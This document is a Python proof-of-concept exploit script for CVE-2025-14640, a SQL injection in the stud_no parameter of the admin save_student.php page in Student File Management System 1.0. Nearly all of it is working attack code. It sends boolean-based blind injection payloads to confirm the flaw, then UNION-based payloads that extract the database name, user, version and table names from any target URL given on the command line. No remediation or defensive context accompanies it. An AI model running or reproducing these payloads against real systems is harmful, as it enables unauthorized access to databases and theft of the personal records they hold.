CVE-2025-14640 Student File Management System SQL注入漏洞

import requests import sys # CVE-2025-14640 PoC - SQL Injection in Student File Management System 1.0 # Target: /admin/save_student.php # Parameter: stud_no def exploit_sqli(target_url, payload): """Exploit SQL injection vulnerability""" # Target endpoint url = f"{target_url}/admin/save_student.php" # Malicious payload in stud_no parameter data = { 'stud_no': payload, 'action': 'save' # or other required parameters } try: response = requests.post(url, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Error: {e}") return None # Boolean-based blind SQL injection example def test_blind_sqli(target_url): """Test for boolean-based blind SQL injection""" # True condition - should return expected response true_payload = "1' AND 1=1 -- " # False condition - should return different response false_payload = "1' AND 1=2 -- " print("[*] Testing SQL injection...") resp_true = exploit_sqli(target_url, true_payload) resp_false = exploit_sqli(target_url, false_payload) if resp_true and resp_false: if resp_true.text != resp_false.text: print("[+] SQL Injection confirmed!") return True return False # Union-based SQL injection to extract database info def extract_db_info(target_url): """Extract database information using union-based injection""" # Get current database db_payload = "1' UNION SELECT database(),user(),version() -- " print("[*] Extracting database information...") response = exploit_sqli(target_url, db_payload) if response: print(f"[+] Database info: {response.text[:500]}") # Get table names tables_payload = "1' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database() -- " print("[*] Extracting table names...") response = exploit_sqli(target_url, tables_payload) if response: print(f"[+] Tables: {response.text[:500]}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14640.py <target_url>") print("Example: python cve-2025-14640.py http://target.com/student-file-management") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-14640 - SQL Injection in Student File Management System") if test_blind_sqli(target): extract_db_info(target)